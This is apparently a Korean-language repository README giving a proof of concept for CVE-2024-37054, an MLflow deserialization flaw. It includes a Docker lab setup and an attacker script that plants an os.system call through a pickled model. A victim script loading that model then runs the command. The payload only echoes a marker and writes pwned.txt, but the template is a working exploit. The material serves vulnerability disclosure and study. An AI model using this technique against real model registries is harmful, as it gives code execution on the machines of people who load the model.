niteeshpujari/cve-2024-37054-mlflow-rceNiteeshPujari/CVE-2024-37054, 이 저장소에는 MLflow에서 원격 코드 실행(RCE)을 허용하는 중요한 역직렬화 취약점에 대한 개념 증명(PoC)이 포함되어 있습니다.
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
이 저장소는 MLflow에서 원격 코드 실행(RCE)을 허용하는 심각한 역직렬화 취약점인 CVE-2024-37054에 대한 개념 증명(PoC)을 포함하고 있습니다.
CVE-2024-37054mlflow.pyfunc.load_model 함수에 역직렬화 취약점이 존재합니다. 공격자는 피클(pickle)된 페이로드를 포함한 악성 모델을 제작할 수 있습니다. 피해자가 이 모델을 로드하면 cloudpickle.load를 통해 페이로드가 역직렬화되어 피해자 머신에서 임의 코드 실행이 발생합니다.0.9.0부터 2.14.2 미만까지의 MLflow 버전.mlflow/pyfunc/model.py 내의 _load_pyfunc.이 PoC는 악성 모델을 업로드하는 공격자(Attacker) 와 이를 로드하여 RCE를 트리거하는 피해자(Victim) 라는 두 가지 역할을 시뮬레이션합니다.
취약한 MLflow 서버를 설정하는 가장 쉬운 방법은 제공된 Dockerfile을 사용하는 것입니다.
Docker 컨테이너 빌드 및 실행:
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
이제 취약한 MLflow 서버가 http://127.0.0.1:5000에서 실행 중입니다.
호스트 머신에서 두 개의 별도 터미널이 필요합니다. 클라이언트 스크립트를 실행하려면 로컬에 취약한 버전의 mlflow가 설치되어 있는지 확인하세요(pip install mlflow==2.14.1).
첫 번째 터미널에서 공격자 스크립트를 실행하여 악성 모델을 로깅합니다.
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
실행:
python poc/log_malicious_model.py
두 번째 터미널에서 피해자 스크립트를 실행하여 손상된 모델을 로드하는 상황을 시뮬레이션합니다.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
실행:
python poc/load_vulnerable_model.py
피해자 스크립트를 실행한 후 터미널에 /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found 메시지가 표시되고 디렉터리에 pwned.txt라는 새 파일이 생성됩니다. 이는 명령 실행이 성공했음을 확인해 줍니다.
이 개념 증명(PoC)은 Pujari Niteesh에 의해 개발되었습니다.